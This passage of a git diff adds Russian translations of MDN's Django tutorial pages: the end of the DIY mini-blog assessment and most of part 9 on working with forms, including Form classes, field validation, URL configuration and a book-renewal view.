может быть создана с использованием функционального представления (и связанной модели и формы) или с использованием общего <code>CreateView</code>. Если вы используете <code>CreateView</code> (рекомендуется): + <ul> + <li>Вам также нужно будет передать имя блога на страницу комментариев в контексте (реализовать <code>get_context_data()</code> как обсуждается ниже).</li> + <li>Форма должна отображать только комментарий «описание» для записи пользователя (дата и связанная с ними запись в блоге не должны редактироваться). Поскольку они не будут в форме, ваш код должен будет установить автора комментария в <code> form_valid()</code> функцию, поэтому он может быть сохранен в модели (<a href="https://docs.djangoproject.com/en/2.0/topics/class-based-views/generic-editing/#models-and-request-user">as described here</a> — Django docs). В этой же функции мы устанавливаем связанный блог. Возможная реализация показана ниже (<code>pk</code> это идентификатор блога, переданный из URL / URL конфигурации ). + <pre class="brush: python"> def form_valid(self, form): + """ + Add author and associated blog to form data before setting it as valid (so it is saved to model) + """ + #Add logged-in user as author of comment + form.instance.author = self.request.user + #Associate comment with blog based on passed id + form.instance.blog=get_object_or_404(Blog, pk = self.kwargs['pk']) + # Call super-class form validation behaviour + return super(BlogCommentCreate, self).form_valid(form) +</pre> + </li> + <li> Для успешного перенаправления после проверки формы вам нужно будет указать URL-адрес; это должен быть оригинальный блог. Для этого вам нужно будет переопределить <code>get_success_url()</code> и «обратный» URL-адрес для исходного блога. Вы можете получить требуемый ID блога, используя <code>self.kwargs</code> атрибут, как показано в методе <code>form_valid()</code> выше.</li> + </ul> + </li> +</ol> + +<p>Мы кратко говорили о передаче контекста шаблону в представлении на основе классов в теме <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Generic_views#Overriding_methods_in_class-based_views">Django Tutorial Part 6: Generic list and detail views</a>. Для этого вам нужно переопределить <code>get_context_data()</code> (сначала получить существующий контекст, обновить его любыми дополнительными переменными, которые вы хотите передать шаблону, а затем вернуть обновленный контекст). Например, фрагмент кода ниже показывает, как вы можете добавить объект blogger в контекст на основе его <code>BlogAuthor</code> id.</p> + +<pre class="brush: python">class SomeView(generic.ListView): + ... + + def get_context_data(self, **kwargs): + # Call the base implementation first to get a context + context = super(SomeView, self).get_context_data(**kwargs) + # Get the blogger object from the "pk" URL parameter and add it to the context + context['blogger'] = get_object_or_404(BlogAuthor, pk = self.kwargs['pk']) + return context +</pre> + +<h2 id="Аттестация">Аттестация</h2> + +<p>Оценка этого задания <a href="https://github.com/mdn/django-diy-blog/blob/master/MarkingGuide.md">доступна здесь на Github</a>. Эта оценка в основном основана на том, насколько хорошо ваше приложение соответствует требованиям, перечисленным выше, хотя есть некоторые части оценки, которые проверяют ваш код на использование соответствующих моделей и что вы написали хотя бы некоторый тестовый код. Когда вы закончите, вы можете проверить по нашему <a href="https://github.com/mdn/django-diy-blog">готовому примеру</a> который соответствует "высокой оценке проекта".</p> + +<p>После того, как вы завершили этот модуль, вы также закончили весь контент MDN для изучения базового веб-сайта на сервере Django! Надеемся, вам понравится этот модуль и вы почувствуете, что у вас есть хорошее понимание основ!</p> + +<p>{{PreviousMenu("Learn/Server-side/Django/web_application_security", "Learn/Server-side/Django")}}</p> + +<p> </p> + +<h2 id="В_этом_модуле">В этом модуле</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li> +</ul> + +<p> </p> diff --git a/files/ru/learn/server-side/django/forms/index.html b/files/ru/learn/server-side/django/forms/index.html new file mode 100644 index 0000000000..3b155495a9 --- /dev/null +++ b/files/ru/learn/server-side/django/forms/index.html @@ -0,0 +1,650 @@ +--- +title: 'Руководство часть 9: Работа с формами' +slug: Learn/Server-side/Django/Forms +tags: + - HTML + - django + - Для начинающих + - Руководство + - Серверная сторона + - Формы + - Формы Django +translation_of: Learn/Server-side/Django/Forms +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/authentication_and_sessions", "Learn/Server-side/Django/Testing", "Learn/Server-side/Django")}}</div> + +<p class="summary">На этом уроке мы покажем вам процесс работы с HTML-формами в Django. В частности, продемонстрируем самый простой способ построения формы для создания, обновления и удаления экземпляров модели. При этом мы расширим сайт <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">местной библиотеки</a>, чтобы библиотекари могли обновлять книги, создавать, обновлять и удалять авторов, используя наши собственные формы (а не возможности приложения администратора).</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Необходимые условия:</th> + <td>Завершите все предыдущие учебные темы, в том числе <a href="/en-US/docs/Learn/Server-side/Django/authentication_and_sessions">Django руководство часть 8: Аутентификация пользователя и права доступа</a>.</td> + </tr> + <tr> + <th scope="row">Цель:</th> + <td>Научиться понимать, как создавать формы, чтобы получать информацию от пользователей и обновлять базу данных. Узнать, как обобщенные классы отображения форм могут значительно упростить процесс создания форм при работе с одной моделью.</td> + </tr> + </tbody> +</table> + +<h2 id="Обзор">Обзор</h2> + +<p><a href="/en-US/docs/Web/Guide/HTML/Forms">HTML форма </a>- это группа из одного или нескольких полей/виджетов на веб-странице, которая используется для сбора информации от пользователей для последующей отправки на сервер. Формы являются гибким механизмом сбора пользовательских данных, поскольку имеют целый набор виджетов для ввода различных типов данных, как то: текстовые поля, флажки, переключатели, установщики дат и т. д. Формы являются относительно безопасным способом взаимодействия пользовательского клиента и сервера, поскольку они позволяют отправлять данные в POST-запросах, применяя защиту от <a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D0%BF%D0%BE%D0%B4%D0%B4%D0%B5%D0%BB%D0%BA%D0%B0_%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81%D0%B0">Межсайтовой подделки запроса</a> (<em><span lang="en">Сross Site Request Forgery - CSRF</span></em>)</p> + +<p>Пока что мы не создавали каких-либо форм в этом учебнике, но мы встречались с ними в административной панели Django — например, снимок экрана ниже показывает форму для редактирования одной из наших моделей книг (<a href="/en-US/docs/Learn/Server-side/Django/Models">Book</a>), состоящую из нескольких списков выбора и текстовых редакторов. </p> + +<p><img alt="Admin Site - Book Add" src="https://mdn.mozillademos.org/files/13979/admin_book_add.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p> + +<p>Работа с формами может быть достаточно сложной! Разработчикам надо описать форму на HTML, проверить ее валидность, а также, на стороне сервера, проверять введенные пользователем данные (а возможно и на стороне клиента), далее, в случае возникновения ошибок необходимо опять показать пользователю форму и, при этом, указать на то, что пошло не так, в случае же успеха проделать с данными необходимые операции и каким-то образом проинформировать об этом пользователя. Django, при работе с формами, берет большую часть, описанной выше работы, на себя. Он предоставляет фреймворк, который позволяет вам определять форму и ее поля программно, а затем использовать эти объекты и для генерации непосредственно кода HTML-формы, и для контроля за процессом валидации и других пользовательский взаимодействий с формой.</p> + +<p>В данной части руководства мы покажем вам несколько способов создания и работы с формами и, в частности, как применение обобщенных классов работы с формой могут значительно уменьшить необходимый объем работы. Кроме того, мы расширим возможности нашего сайта <em>LocalLibrary,</em> путем добавления функционала для библиотекарей, который будет позволять им обновлять информацию - добавим страницы для создания, редактирования, удаления книг и авторов (воспроизведем и расширим стандартные возможности административной части сайта).</p> + +<h2 id="Формы_HTML">Формы HTML</h2> + +<p>Начнем мы с краткого обзора <a href="/en-US/docs/Web/Guide/HTML/Forms">Форм HTML</a>. Рассмотрим простую форму HTML, имеющую поле для ввода имени некоторой "команды" ("team"), и, связанную с данным полем, текстовой меткой:</p> + +<p><img alt="Simple name field example in HTML form" src="https://mdn.mozillademos.org/files/14117/form_example_name_field.png" style="border-style: solid; border-width: 1px; display: block; height: 44px; margin: 0px auto; width: 399px;"></p> + +<p>Форма описывается на языке HTML как набор элементов, расположенных внутри парных тэгов <code><form>...</form></code>. Любая форма содержит как минимум одно поле-тэг <code>input</code> типа <code>type="submit"</code>.</p> + +<pre class="brush: html notranslate"><form action="/team_name_url/" method="post"> + <label for="team_name">Enter name: </label> + <input id="team_name" type="text" name="name_field" value="Default name for team."> + <input type="submit" value="OK"> +</form></pre> + +<p>Здесь у нас только одно поле для ввода имени команды, но форма <em>может</em> иметь любое количество элементов ввода и, связанных с ними, текстовых меток. Атрибут элемента <code>type</code> определяет какого типа виджет будет показан в данной строке. Атрибуты <code>name</code> и <code>id</code> используются для однозначной идентификации данного поля в JavaScript/CSS/HTML, в то время как <code>value</code> содержит значение для поля (когда оно показывается в первый раз). Текстовая метка добавляется при помощи тэга <code style="font-style: normal; font-weight: normal;">label</code> (смотрите "Enter name", в предыдущем фрагменте) и имеет атрибут <code style="font-style: normal; font-weight: normal;">for</code> со значением идентификатора <code style="font-style: normal; font-weight: normal;">id</code>, того поля, с которым данная текстовая метка связана.</p> + +<p>Элемент <code>input</code> с <code>type="submit"</code> будет показана как кнопка (по умолчанию), нажав на которую, пользователь отправляет введенные им данные на сервер (в данном случае только значение поля с идентификатором <code>team_name</code>). Атрибуты формы определяют каким методом будут отправлены данные на сервер (атрибут <code>method</code>) и куда (атрибут <code>action</code>):</p> + +<ul> + <li><code>action</code>: Это ресурс/URL-адрес куда будут отправлены данные для обработки. Если значение не установлено (то есть, значением поля является пустая строка), тогда данные будут отправлены в отображение (функцию, или класс), которое сформировало текущую страницу.</li> + <li><code>method</code>: HTTP-метод, используемый для отправки данных: <em>post</em>, или <em>get</em>. + <ul> + <li>Метод <code>POST</code> должен всегда использоваться если отправка данных приведет к внесению изменений в базе данных на сервере. Применение данного метода должно повысить уровень защиты от CSRF.</li> + <li>Метод <code>GET</code> должен применяться только для форм, действия с которыми не приводят к изменению базы данных (например для поисковых запросов). Кроме того, данный метод рекомендуется применять для создания внешних ссылок на ресурсы сайта.</li> + </ul> + </li> +</ul> + +<p>Ролью сервера в первую очередь является отрисовка начального состояния формы — либо содержащей пустые поля, либо с установленными начальными значениями. После того как пользователь нажмет на кнопку, сервер получит все данные формы, а затем должен провести их валидацию. В том случае, если форма содержит неверные данные, сервер должен снова отрисовать форму, показав при этом поля с правильными данными, а также сообщения, описывающие "что именно пошло не так". В тот момент, когда сервер получит запрос с "правильными" данными он должен выполнить все необходимые действия (например, сохранение данных, возврат результата поиска, загрузка файла и тому подобное), а затем, в случае необходимости, проинформировать пользователя.</p> + +<p>Как вы видите, создание HTML-формы, валидация и возврат данных, переотрисовка введенных значений, при необходимости, а также выполнение желаемых действий с "правильными данными", в целом, может потребовать довольно больших усилий для того, чтобы все "заработало". Django делает этот процесс намного проще, беря на себя некоторые "тяжелые" и повторяющиеся участки кода!</p> + +<h2 id="Процесс_управления_формой_в_Django_2"><a id="Процесс_управления_формой_в_Django" name="Процесс_управления_формой_в_Django">Процесс управления формой в Django</a></h2> + +<p>Управление формами в Django использует те же самые техники, которые мы изучали в предыдущих частях руководства (при показе информации из наших моделей): отображение получает запрос, выполняет необходимые действия, включающие в себя чтение данных из моделей, генерацию и возврат страницы HTML (из шаблона, в который передается <em>контекст,</em> содержащий данные, которые и будут показаны). Что делает данный процесс более сложным, так это то, что серверной части надо дополнительно обработать данные, предоставленные пользователем и, в случае возникновения ошибок, снова перерисовать страницу.</p> + +<p>Диаграмма, представленная ниже, демонстрирует процесс работы с формой в Django, начиная с запроса страницы, содержащей форму (выделено зеленым цветом).</p> + +<p><img alt="Updated form handling process doc." src="https://mdn.mozillademos.org/files/14205/Form%20Handling%20-%20Standard.png" style="display: block; height: 569px; margin: 0px auto; width: 800px;"></p> + +<p>В соответствии с данной диаграммой, главными моментами, которые берут на себя формы Django являются:</p> + +<ol> + <li>Показ формы по умолчанию при первом запросе со стороны пользователя. + <ul> + <li>Форма может содержать пустые поля (например, если вы создаете новую запись в базе данных), или они (поля) могут иметь начальные значения (например, если вы изменяете запись, или хотите заполнить ее каким-либо начальным значением).</li> + <li>Форма в данный момент является <em>несвязанной</em>, потому что она не ассоциируется с какими-либо введенными пользователем данными (хотя и может иметь начальные значения).</li> + </ul> + </li> + <li>Получение данных из формы (из HTML-формы) со стороны клиента и связывание их с формой (классом формы) на стороне сервера. + <ul> + <li>Связывание данных с формой означает, что данные, введенные пользователем, а также возможные ошибки, при переотрисовке в дальнейшем, будут относиться именно к данной форме, а не к какой-либо еще.</li> + </ul> + </li> + <li>Очистка и валидация данных. + <ul> + <li>Очистка данных - это их проверка на наличие возможных значений, или вставок в поля ввода (то есть очистка - это удаление неправильных символов, которые потенциально могут использоваться для отправки вредоносного содержимого на сервер), с последующей конвертацией очищеных данных в подходящие типы данных Python.</li> + <li>Валидация проверяет, значения полей (например, правильность введенных дат, их диапазон и так далее)</li> + </ul> + </li> + <li>Если какие-либо данные являются неверными, то выполнение перерисовки формы, но на этот раз, с уже введенными пользователем данными и сообщениями об ошибках, описывающих возникшие проблемы.</li> + <li>Если все данные верны, то исполнение необходимых действий (например, сохранение данных, отправка писем, возврат результата поиска, загрузка файла и так далее)</li> + <li>Когда все действия были успешно завершены, то перенаправление пользователя на другую страницу.</li> +</ol> + +<p>Django предоставляет несколько инстументов и приемов, которые помогают вам во время выполнения задач, описанных выше. Наиболее фундаметальным из них является класс <code>Form</code>, который упрощает генерацию HTML-формы и очистку/валидацию ее данных. В следующем разделе мы опишем процесс работы с формами при помощи практического примера по созданию страницы, которая позволит библиотекарям обновлять информацию о книгах.</p> + +<div class="note"> +<p><strong>Примечание:</strong> Понимание того, как используется класс <code>Form</code> поможет вам когда мы будем рассматривать классы фреймворка Django, для работы с формами более "высокого уровня".</p> +</div> + +<h2 id="HTML-форма_обновления_книги._Класс_Form_и_функция_отображения">HTML-форма обновления книги. Класс Form и функция отображения</h2> + +<p>Данная глава будет посвещена процессу создания страницы, которая позволит библиотекарям обновлять информацию о книгах (в частности, вводить дату возврата книги). Для того, чтобы сделать это мы создадим форму, которая позволит пользователям вводить значение дат. Мы проинициализируем поле датой, равной 3 неделям, начиная с текущего дня, и, для того, чтобы библотекарь не имел возможность ввести "неправильную" дату, мы добавим валидацию введенных значений, которая будет проверять, чтобы введенная дата не относилась к прошлому, или к слишком далекому будущему. Когда будет получена "правильная" дата мы запишем ее значение в поле <code>BookInstance.due_back</code>.</p> + +<p>Данный пример будет использовать отображение на основе функции, а также продемонстрирует работу с классом <code>Form</code>. Следующие разделы покажут изменения, которые вам надо сделать, чтобы продемонстрировать работу форм в проекте <em>LocalLibrary</em>.</p> + +<h3 id="Класс_Form">Класс Form</h3> + +<p>Класс <code>Form</code> является сердцем системы Django при работе с формами. Он определяет поля формы, их расположение, показ виджетов, текстовых меток, начальных значений, валидацию значений и сообщения об ошибках для "неправильных" полей (если таковые имеются). Данный класс, кроме того, предоставляет методы для отрисовки самого себя в шаблоне при помощи предопределенных форматов (таблицы, списки и так далее), или для получения значения любого элемента (позволяя выполнять более точную отрисовку).</p> + +<h4 id="Объявление_класса_формы_Form">Объявление класса формы Form</h4> + +<p>Синтаксис объявления для класса формы <code>Form</code> очень похож на объявление класса модели <code>Model</code>, он даже использует те же типы полей (и некоторые похожие параметры). Это существенный момент, поскольку в обоих случаях нам надо убедиться, что каждое поле управляет правильным типом данных, соответствует нужному диапазону (или другому критерию) и имеет необходимое описание для показа/документации.</p> + +<p>Для того, чтобы создать класс с функционалом базового класса <code>Form</code> мы должны импорировать библиотеку <code>forms</code>, наследовать наш класс от класса <code>Form</code>, а затем объявить поля формы. Таким образом, самый простой класс формы в нашем случае будет иметь вид, показанный ниже:</p> + +<pre class="brush: python notranslate">from django import forms + +class RenewBookForm(forms.Form): + renewal_date = forms.DateField(help_text="Enter a date between now and 4 weeks (default 3).") +</pre> + +<h4 id="Поля_формы">Поля формы</h4> + +<p>В нашем случае мы имеем одно поле типа <code><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#datefield">DateField</a></code>, которое служит для ввода обновленной даты возврата книги, которое будет отрендерено в HTML с пустым значением и текстовой меткой "<em>Renewal date:</em>", а также текстовым описанием: "<em>Enter a date between now and 4 weeks (default 3 weeks).</em>" Так как никаких дополнительных опций мы не определяем, то поле будет "получать" даты в следующем формате <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#django.forms.DateField.input_formats">input_formats</a>: YYYY-MM-DD (2016-11-06), MM/DD/YYYY (02/26/2016), MM/DD/YY (10/25/16), а для отрисовки по умолчанию, будет использовать <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#widget">виджет</a>: <a href="https://docs.djangoproject.com/en/1.10/ref/forms/widgets/#django.forms.DateInput">DateInput</a>.</p> + +<p>Существует множество других типов полей для класса формы, которые по своему функционалу подобны соответствующим им эквивалентам типов полей для классов моделей: <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#booleanfield"><code>BooleanField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#charfield"><code>CharField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#choicefield"><code>ChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#typedchoicefield"><code>TypedChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#datefield"><code>DateField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#datetimefield"><code>DateTimeField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#decimalfield"><code>DecimalField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#durationfield"><code>DurationField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#emailfield"><code>EmailField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#filefield"><code>FileField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#filepathfield"><code>FilePathField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#floatfield"><code>FloatField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#imagefield"><code>ImageField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#integerfield"><code>IntegerField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#genericipaddressfield"><code>GenericIPAddressField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#multiplechoicefield"><code>MultipleChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#typedmultiplechoicefield"><code>TypedMultipleChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#nullbooleanfield"><code>NullBooleanField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#regexfield"><code>RegexField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#slugfield"><code>SlugField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#timefield"><code>TimeField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#urlfield"><code>URLField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#uuidfield"><code>UUIDField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#combofield"><code>ComboField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#multivaluefield"><code>MultiValueField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#splitdatetimefield"><code>SplitDateTimeField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#modelmultiplechoicefield"><code>ModelMultipleChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#modelchoicefield"><code>ModelChoiceField</code></a>.</p> + +<p>Общие аргументы для большинства полей перечислены ниже:</p> + +<ul> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#required">required</a>: Если <code>True</code>, то данное поле не может быть пустым, или иметь значение<code>None</code>. Данное значение установлено по умолчанию.</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#label">label</a>: Тектовая метка, используемая для рендеринга поля в HTML-код. Если <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#label">label</a> не определена, то Django попытается создать ее значение при помощи имени поля, переводя первый символ в верхний регистр, а также заменяя символы подчеркивания пробелами (например, для переменной с именем renewal_date, будет создан следующий текст метки: <em>Renewal date</em>).</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#label-suffix">label_suffix</a>: По умолчанию показывает двоеточие после текста метки (например, Renewal date<strong>:</strong>). Данный параметр позволяет вам указать любой суффикс по вашему желанию.</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#initial">initial</a>: Начальное значение для поля при показе формы.</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#widget">widget</a>: Применяемый виджет для поля.</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#help-text">help_text</a> (как показано в примере выше): Дополнительный текст, который может быть показан на форме, для описания того, как использовать поле.</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#error-messages">error_messages</a>: Список сообщений об ошибках для данного поля. Вы можете переопределить его своими сообщениями, при необходимости.</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#validators">validators</a>: Список функций, которые будут вызваны для валидации, введенного в поле значения.</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#localize">localize</a>: Позволяет осуществить локализацию данных поля формы (например, формат ввода числовых значений, или дат).</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#disabled">disabled</a>: Если установлено в <code>True</code>, то поле показывается, но его значение изменить нельзя. По умолчанию равно <code>False</code>.</li> +</ul> + +<h4 id="Валидация">Валидация</h4> + +<p>Django предоставляет несколько мест где вы можете осуществить валидацию ваших данных. Простейшим способом проверки значения одиночного поля является переопределение метода<code>clean_<strong><fieldname></strong>()</code> (здесь, <code><strong><fieldname></strong></code> это имя поля, которое вы хотите проверить). Например, мы хотим проверить, что введенное значение <code>renewal_date</code> находится между текущей датой и 4 неделями в будущем. Для этого мы создаем метод <code>clean_<strong>renewal_date</strong>()</code>, как показано ниже:</p> + +<pre class="brush: python notranslate">from django import forms + +<strong>from django.core.exceptions import ValidationError +from django.utils.translation import ugettext_lazy as _ +import datetime #for checking renewal date range. +</strong> +class RenewBookForm(forms.Form): + renewal_date = forms.DateField(help_text="Enter a date between now and 4 weeks (default 3).") + +<strong> def clean_renewal_date(self): + data = self.cleaned_data['renewal_date'] + + #Проверка того, что дата не выходит за "нижнюю" границу (не в прошлом). + if data < datetime.date.today(): + raise ValidationError(_('Invalid date - renewal in past')) + + #Проверка того, то дата не выходит за "верхнюю" границу (+4 недели). + if data > datetime.date.today() + datetime.timedelta(weeks=4): + raise ValidationError(_('Invalid date - renewal more than 4 weeks ahead')) + + # Помните, что всегда надо возвращать "очищенные" данные. + return data</strong></pre> + +<p>Необходимо отметить два важных момента. Первый это то, что мы получаем наши данные при помощи словаря <code>self.cleaned_data['renewal_date']</code>, а затем в конце возвращаем полученное значение, для проведения необходимых проверок. Данный шаг позволяет нам, при помощи валидаторов, получить "очищенные", проверенные, а затем, приведенные к стандартным типам, данные (в нашем случае к типу Python <code>datetime.datetime</code>).</p> + +<p>Второй момент касается того случая, когда наше значение "выпадает за рамки" и мы "выкидываем" исключение <code>ValidationError</code>, в котором указываем текст, который мы хотим показать на форме, для случая когда были введены неправильные данные. Пример, показанный выше, оборачивает данный текст при помощи <a href="https://docs.djangoproject.com/en/1.10/topics/i18n/translation/">функции перевода Django</a> <code>ugettext_lazy()</code> (импортирумую через <code>_()</code>), которая может вам пригодиться, если вы планируете перевести ваш сайт в будущем.</p> + +<div class="note"> +<p><strong>Примечание:</strong> Существует множество других методов и примеров валидации различных форм, которые можно найти в <a href="https://docs.djangoproject.com/en/1.10/ref/forms/validation/">Формы и валидация поля</a> (Django docs). Например, в случае, если у вас имеется много полей, которые зависят один от другого, вы можете переопределить функцию <a href="https://docs.djangoproject.com/en/1.10/ref/forms/api/#django.forms.Form.clean">Form.clean()</a> и, при необходимости, "выкинуть" <code>ValidationError</code>.</p> +</div> + +<p>В целом, это все, что нам понадобится для создания формы в данном примере!</p> + +<h4 id="Копирование_класса_формы">Копирование класса формы</h4> + +<p>Создайте и откройте файл <strong>locallibrary/catalog/forms.py</strong>, а затем скопируйте в него весь код, указанный в предыдущем фрагменте.</p> + +<h3 id="Конфигурация_URL-адресов">Конфигурация URL-адресов</h3> + +<p>Перед созданием отображения давайте добавим соответствующую конфигурацию URL-адреса для страницы обновления книг. Скопируйте следующий фрагмент в нижнюю часть файла<strong> locallibrary/catalog/urls.py</strong>.</p> + +<pre class="brush: python notranslate">urlpatterns += [ + url(r'^book/(?P<pk>[-\w]+)/renew/$', views.renew_book_librarian, name='renew-book-librarian'), +]</pre> + +<p>Данная конфигурация перенаправит запросы с адресов формата <strong>/catalog/book/<em><bookinstance id></em>/renew/</strong> в функции с именем <code>renew_book_librarian()</code> в <strong>views.py</strong>, туда же передаст идентификатор id записи <code>BookInstance</code> в качестве параметра с именем <code>pk</code>. Шаблон соответствует только если <strong>pk </strong>это правильно отформатированный <strong>uiid.</strong></p> + +<div class="note"> +<p><strong>Примечание</strong>: Вместо имени "pk" мы можем использовать любое другое, по нашему желанию, потому что мы имеем полный контроль над функцией отображения (которого у нас нет в случае использования встроенного обобщенного класса отображения, который ожидает параметр с определенным именем). Тем не менее имя <code>pk</code> является понятным сокращением от "primary key", поэтому мы его тут и используем!</p> +</div> + +<h3 id="Отображение">Отображение</h3> + +<p>Как было отмечено в разделе <a href="#Процесс_управления_формой_в_Django">Процесс управление формой в Django</a>, отображение должно отрендерить форму по умолчанию, когда она вызывается в первый раз и, затем, перерендерить ее, в том случае, если возникли какие-либо ошибки при работе с ее полями. В случае же успеха, после обработки "правильных" данных отображение перенаправляет пользователя на новую (другую) страницу. Для того чтобы выполнить все эти действия, отображение должно знать вызвано ли оно в первый раз для отрисовки формы по умолчанию, а если это не так, то провести валидацию полученных данных.</p> + +<p>Для форм, которые используют <code>POST</code>-запрос при отправке информации на сервер, наиболее общей схемой проверки данного факта является следующая строка кода <code>if request.method == 'POST':</code>. <code>GET</code>-запросу, а также первому запросу формы, в таком случае соответствует блок <code>else</code>. Если вы хотите отправлять свои данные в виде <code>GET</code>-запроса, то в таком случае приемом проверки того факта, что данный запрос первый (или последующий), является получение значения какого-либо поля формы (например, если значение скрытого поля формы пустое, то данный вызов является первым).</p> + +<p>Процесс обновления книги приводит к изменению информации в базе данных, таким образом, в соответствии с нашими соглашениями, в таком случае мы должны применять запрос типа <code>POST</code>. Фрагмент кода, представленный ниже, показывает (наиболее общую) схему работы для таких запросов. </p> + +<pre class="brush: python notranslate">from django.shortcuts import get_object_or_404 +from django.http import HttpResponseRedirect +from django.urls import reverse +import datetime + +from .forms import RenewBookForm + +def renew_book_librarian(request, pk): + book_inst = get_object_or_404(BookInstance, pk=pk) + + # Если данный запрос типа POST, тогда +<strong> if request.method == 'POST':</strong> + + # Создаем экземпляр формы и заполняем данными из запроса (связывание, binding): + form = RenewBookForm(request.POST) + + # Проверка валидности данных формы: + <strong>if form.is_valid():</strong> + # Обработка данных из form.cleaned_data + #(здесь мы просто присваиваем их полю due_back) + book_inst.due_back = form.cleaned_data['renewal_date'] + book_inst.save() + + # Переход по адресу 'all-borrowed': + return HttpResponseRedirect(reverse('all-borrowed') ) + + # Если это GET (или какой-либо еще), создать форму по умолчанию. +<strong> else:</strong> + proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3) + form = RenewBookForm(initial={'renewal_date': proposed_renewal_date,}) + + return render(request, 'catalog/book_renew_librarian.html', {'form': form, 'bookinst':book_inst})</pre> + +<p>В первую очередь мы импортируем наш класс формы (<code>RenewBookForm</code>), а также другие необходимые объекты и методы:</p> + +<ul> + <li><code><a href="https://docs.djangoproject.com/en/1.10/topics/http/shortcuts/#get-object-or-404">get_object_or_404()</a></code>: Возвращает определенный объект из модели в зависимости от значения его первичного ключа, или выбрасывает исключение <code>Http404</code>, если данной записи не существует. </li> + <li><code><a href="https://docs.djangoproject.com/en/1.10/ref/request-response/#django.http.HttpResponseRedirect">HttpResponseRedirect</a></code>: Данный класс перенаправляет на другой адрес (HTTP код статуса 302). </li> + <li><code><a 